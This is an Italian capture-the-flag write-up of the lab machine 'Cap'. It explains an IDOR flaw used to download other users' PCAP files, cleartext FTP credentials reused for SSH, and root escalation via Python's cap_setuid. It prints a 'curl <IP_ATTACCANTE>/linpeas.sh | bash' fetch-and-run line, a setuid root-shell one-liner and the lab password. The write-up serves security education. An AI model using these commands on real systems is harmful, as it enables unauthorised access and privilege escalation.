Introduzione
Cap è una macchina Linux a bassa difficoltà progettata per test di sicurezza. Al suo interno è presente un server HTTP dedicato ad attività amministrative, tra cui la cattura di traffico di rete. In questo write-up, analizzeremo come una vulnerabilità IDOR (Insecure Direct Object Reference) abbia permesso di accedere a dati sensibili e di ottenere privilegi root tramite escalation.
Cos’è l’IDOR?
L’IDOR è una vulnerabilità che si verifica quando un’applicazione espone riferimenti diretti a oggetti interni (es. ID di record, file) senza controllare i permessi dell’utente. Ciò consente a un attaccante di manipolare tali riferimenti per accedere a risorse non autorizzate.
Esempio Pratico
Supponiamo un URL come:
http://esempio.com/documento/123
Se l’applicazione non verifica che l’utente abbia i diritti per accedere al documento con ID 123, modificando questo valore (es. 124) si potrebbe accedere a documenti altrui.
Rischi Associati
Esposizione di dati sensibili.
Manipolazione di risorse critiche.
Difficoltà di individuazione (bassa visibilità).
Prevenzione
Implementare controlli di accesso granulari.
Utilizzare identificatori non prevedibili (es. UUID).
Validare e sanificare gli input.
Loggare le attività sospette.
La Vulnerabilità nella Macchina Cap
L’applicazione web di Cap permetteva il download di file PCAP (acquisizioni di traffico di rete) tramite URL come:
http://10.10.10.56/data/2
Modificando l’ID (2, 3, ecc.), era possibile scaricare PCAP appartenenti ad altri
utenti, sfruttando proprio un IDOR.
Fasi dell’Attacco
1. Scansione Iniziale
Dopo aver configurato la VPN per accedere alla macchina, ho utilizzato nmap per identificare le porte aperte:
nmap -sV 10.10.10.56
Risultato:
Porta
21(FTP),22(SSH),80(HTTP).
2. Exploit dell’IDOR
Modificando l’ID nell’URL (es. http://10.10.10.56/data/3), ho scaricato diversi file PCAP.
3. Analisi con Wireshark
Uno dei file PCAP conteneva una connessione FTP non cifrata, con credenziali in chiaro:
User: nathan Password: Buck3tH4TF0RM3!
4. Accesso SSH
Le stesse credenziali erano valide per il servizio SSH:
ssh nathan@10.10.10.56Privilege Escalation: Da Utente a Root
1. Ricerca di Vulnerabilità con linPEAS
Cos'è linPEAS (linux Privilege Escalation Awesome Script)
- verifica della configurazione e dei permessi di file critici
- Identificazione di servizi in esecuzione e processi potenzialmente insicuri.
- Raccolta di informazioni su software installati, configurazioni di rete e possibili errori di configurazione.
- Analisi di eventuali debolezze nei meccanismi di autenticazione e autorizzazione.
Dopo aver ottenuto l’accesso come nathan, ho trasferito lo script linPEAS per individuare vettori di escalation:
- Avvio di un server HTTP in locale:
python -m http.server 80
Esecuzione di linPEAS sul target:
curl http://<IP_ATTACCANTE>/linpeas.sh | bash
2. Individuazione del Vettore Critico
Lo script ha evidenziato che l’eseguibile python3.8 possedeva il capability CAP_SETUID:
/usr/bin/python3.8 = cap_setuid+epQuesta capability consente a Python di modificare l’UID del processo, permettendo di impersonare root.
3. Exploit Finale
Per ottenere una shell root, ho eseguito:
import os os.setuid(0) os.system("/bin/bash")
Esecuzione:
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Risultato: Accesso come root! 🔑
Conclusioni
La macchina Cap dimostra due rischi critici:
IDOR: L’assenza di controlli sugli ID ha permesso l’accesso a dati altrui.
Capability Pericolose: Assegnare capability come
CAP_SETUIDa interpreti (es. Python) può portare a escalation catastrofiche.
Best Practice
Limitare l’uso di capability ai soli processi necessari.
Revisionare periodicamente i permessi dei file.
Adottare il principio del minimo privilegio.
Questo caso sottolinea l’importanza di un’igiene di sicurezza rigorosa, sia nel codice che nella configurazione di sistema.
Alessandro